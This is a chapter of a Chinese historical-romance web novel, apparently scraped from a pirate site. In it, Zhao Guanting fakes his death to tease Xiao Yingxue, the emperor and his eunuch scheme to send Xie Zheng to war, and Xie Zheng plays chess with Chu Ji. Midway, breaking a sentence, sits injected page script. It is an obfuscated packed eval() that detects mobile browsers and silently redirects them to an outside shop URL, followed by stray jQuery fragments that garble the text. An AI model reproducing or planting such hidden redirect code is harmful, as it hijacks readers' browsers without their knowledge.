萧映雪望着赵观庭肩膀上的伤口,心中有一瞬的不解,这并非致命伤,她知道。
可为什么?
她努力回想之前发生的事情。片刻后,她找到了答案。
逃离皇城之时,赵观庭的肩膀中了一箭。数月以来,旧伤按理说早已痊愈。可如果这伤势严重,留下了后遗症,这次再添了新伤,赵观庭的身体终于无法负担。
原来是这样。
可萧映雪的大脑现在一片空白,几乎无法思考。四周变得十分安静,安静到她可以听见自己的心跳声不断在胸腔回响。
“赵观庭,”她开口,声音嘶哑,“醒醒。别逗我玩了。”
她知道赵观庭的性子,说不定这只是他的玩笑。想到这,萧映雪的心变得安定下来。
她用手推了推他的肩膀,佯装生气:“你再这样,我就一个人回芜州了。”
可赵观庭只是静静地靠在石壁上,身体像一个柔软的布娃娃一样,在她的推动下,缓缓沿着墙壁斜倒下去。
萧映雪红着眼眶,死死地盯着他的脸。
不知过了多久,直到空气中传来抽泣声,赵观庭终于意识到事情不对。
他睁开眼,见眼前人紧咬下唇,垂泪欲滴。他忙起身为她擦泪,慌乱道:“别哭呀,我只是和你闹着玩儿的。”
萧映雪推开他,背过身子,将眼泪抹干净。
赵观庭这下彻底慌了。他跑到她跟前,去拉她的手。萧映雪将其甩开,不去看他。
赵观庭只好央求道:“小雪,对不起。刚才我一直没睡,看你醒了,便想捉弄你,谁知你真的相信了。别哭了,我不是好好的在这吗?”
萧映雪深吸一口气,一脸不可置信:“你这人,怎么能把死当做玩笑呢?”
她看着他,双眼悲戚。
赵观庭心里顿时泛起一阵内疚,在心中将自己骂了一顿。
往常他与季凛、赵乾待习惯了,总是与他们开玩笑,打打闹闹的,谁也没当真。但这回他是真将人惹伤心了。
可赵观庭并没有应付女孩子哭泣的经验。想了想,他跑到萧映雪身前,挂了个笑脸,对她道:“放心吧,我赵观庭不会那么轻易就死掉的。现在死了,将来还怎么做皇帝?我和你说,等我们推翻了承朝,我就是新朝的天下之主。到那时,我想要什么就有什么,我说什么,他们就做什么。为了补偿你,小雪,到时我做皇帝,你就当我的皇后吧!”
“你!”萧映雪被这话吓到,终于正眼看他。见赵观庭一脸认真的神情,心里更是气不打一处来。
赵观庭见她如此生气,心中不解,问道:“你不想当皇后吗?可是做宫女太辛苦。当公主的话……”他的表情变得有些奇怪,“我不就成了你的老子了吗?”
这下萧映雪是想哭哭不出来,想笑也笑不出来,万千情绪堆在心中,最终化作一股怒意,她朝赵观庭狠狠踢了一脚。
赵观庭吃痛跳脚,在狭小的山洞里东倒西歪。萧映雪忍不住破涕为笑。
她现在是真的明白了,这人的脑子和正常人不一样。不知道赵乾教了他什么,竟让他觉得在宫中,女子不是皇后,就是公主,不是公主,就是宫女。
赵观庭见萧映雪终于开心起来,高兴道:“原来你还是喜欢当公主。那好,老子就老子吧,我也不是不能接受。”
“什么公主宫女皇后的,你要是不懂,就莫要胡说。”
赵观庭挠挠头,眼神里带着点讨好,“不要生气了,小雪。”
萧映雪点点头,重新坐回火堆旁,拍了拍旁边的位置:“夜里还有些时辰,快睡吧,我守着你。”
赵观庭一脸感动的模样,紧挨着她坐下,一双丹凤眼带着狐狸的狡黠与天真。
“小雪,你真好,”他由衷道,“你与四叔、季凛、姐姐,都一样的好。”
萧映雪别开视线,看向夜空:“嗯……下次别再开这种玩笑了。”
赵观庭应了一声,不再说话。待她转过头时,发现他早已陷入沉睡。
后半夜,萧映雪就这样一直守着赵观庭。
天明之际,赵观庭苏醒,身上的烧仍旧没有退去。他们当即离开山洞,沿着南下的路径,一边赶路,一边在城郊的大车店休养疗伤。
中途,他们托人写信寄往芜州。不到一日便收到赵乾的来信,说他们早已与南下的马匹接应,此刻这些马儿已经陆陆续续进了城中。
赵观庭与萧映雪顿时松了一口气。
三日后,他们顺利回到芜州。
同一时刻,北疆的战书抵达了皇城。胡骑南下的消息传入宫中,朱墙之下,南飞的燕子掠过屋檐,一股看不见的硝烟渐渐弥漫开来。
玉华殿,徐北枳的书桌旁摆放了一张不大不小的檀木桌椅。高静忠手持朱笔,伏案批改奏折。
门外,小太监紧着步子送来急报。高静忠接过折子,并不着急打开,只道:“陛下还在偏殿歇息,先退下吧。”
小太监低眉顺眼,不敢作声,待人出去了,高静忠坐回椅上,打开急报细细读了起来。
片刻后,他合上折子,眼无波澜,嘴角扬起一丝细微的弧度。
潜心殿内传来笑声,徐北枳蒙着眼睛,周围几个穿着娇嫩的妃子笑得花枝乱颤,四处逃窜。
“陛下,不是这边!”
“对对对,就是这儿,哎呀!陛下抓错了,那是您身边的宫女!”
妃子的笑声清脆如银铃一般响彻屋内。
徐北枳咧着嘴角,东一下西一下,始终抓不到人。他心中有些恼怒,命令道:“不许笑了,全都给朕安静!”
这一下,周围立即不做声,只有轻缓的脚步声不停在屋内移动。
徐北枳竖着耳朵,听着一道沉重的脚步声往跟前走来,他心下一喜,猛地扑了上去,却没想象中那般香玉满怀。
面前人语气惊慌,叫了他一声:“陛下!”
徐北枳摘下眼带,见高静忠跪在跟前,没好气道:“怎么是你?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172820|186300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他往四周一看,方才那些妃子和宫女全都不见了,便道,“他们人呢?”
“回陛下,娘娘们都已经回宫了。”
徐北枳顿时兴致缺缺,一屁股坐回榻上:“起来吧,又有什么事情找朕?那些折子,你自己看过一遍不就好了。”
高静忠起身,凑到他身旁,递上手中的急报。徐北枳接过,略略看了几眼,脸色一变,不复方才的闲散,眼中出现了一丝慌乱。他看向高静忠:“这该如何是好?怎么来的这么快?”
“陛下,”高静忠气定神闲,安慰他道,“不过是些不成气候的,何必担心。再说,这不是咱们等候已久的吗?”
徐北枳眼睛一转,明白过来:“还是你想得周到。那朕便立即宣旨,命谢铮今夜便领兵出征。”
高静忠急道:“陛下,万万不可!”
徐北枳蹙眉,他接着道:“如今谢铮在朝中尚有一些势力,兵部、吏部、刑部当中,有许多人还支持他。此外,他还有许多门生,这些人将来若科举成名,进了朝廷,怕是会掀起不小的风浪。先前谢铮办事不力,陛下有由头将他安置在府中。可现在,若是陛下一纸诏书将他调去前线,朝中恐怕会有不服之音。”
“那你的意思是?”
“依奴才看,整个承朝,没有比陛下您更与谢铮亲近的人。他是您的老师,您是他的学生。若是由陛下来劝他出征,想必谢大人不会不同意。下诏之前,陛下不如先将谢铮召进宫中,与他把酒畅谈,吐露一番心声。届时,究竟是陛下让他出征,还是谢铮他请愿出征,谁还说得明白?”
高静忠说得缓慢,静静地瞧着徐北枳。半晌,徐北枳眉头舒展,眉梢一扬:“妙!此计甚妙。好,就照你说的办。”
谢府,湖心亭。
谢铮与楚稷对坐,他们身前的石桌上摆着一盘棋。黑白之间,你来我往,这盘棋刚下不久,局势尚未稳定下来。
楚稷看了一眼谢铮,对他道:“世伯在家赋闲许久,没了往日的严肃,多了几分和蔼,不禁让子萦想起幼时世伯来府中的模样。”
谢铮没有抬头,手中持着棋子,思索下一步落点:“如今,能陪我下棋的人,恐怕也只有你了。”
“若是父亲还在,此刻与您下棋的人该是他。”
谢铮抬眼,手悬在半空。片刻后,他移开视线,望向湖面:“若你父亲还在,我倒真想知道,现在会是一番怎样的局面。”
“怎么?”楚稷眼带笑意,“世伯还想与父亲再说说话吗?”
谢铮点头,语气恳切:“我与云荆同为知己。若他还在,今春的新茶,我便能与他一起共饮了。”
说完,他轻叹一口气,话语之间藏着几分寂寞。
楚稷没有说话,他垂眼,盯着眼前的棋局。
湖中之亭,春宜看湖,冬宜看雪。今岁即将入寒,却不知,这潭湖,何时会落满雪。
“世伯,”他开口,目光落在湖面,“您说,今年何时会下雪?”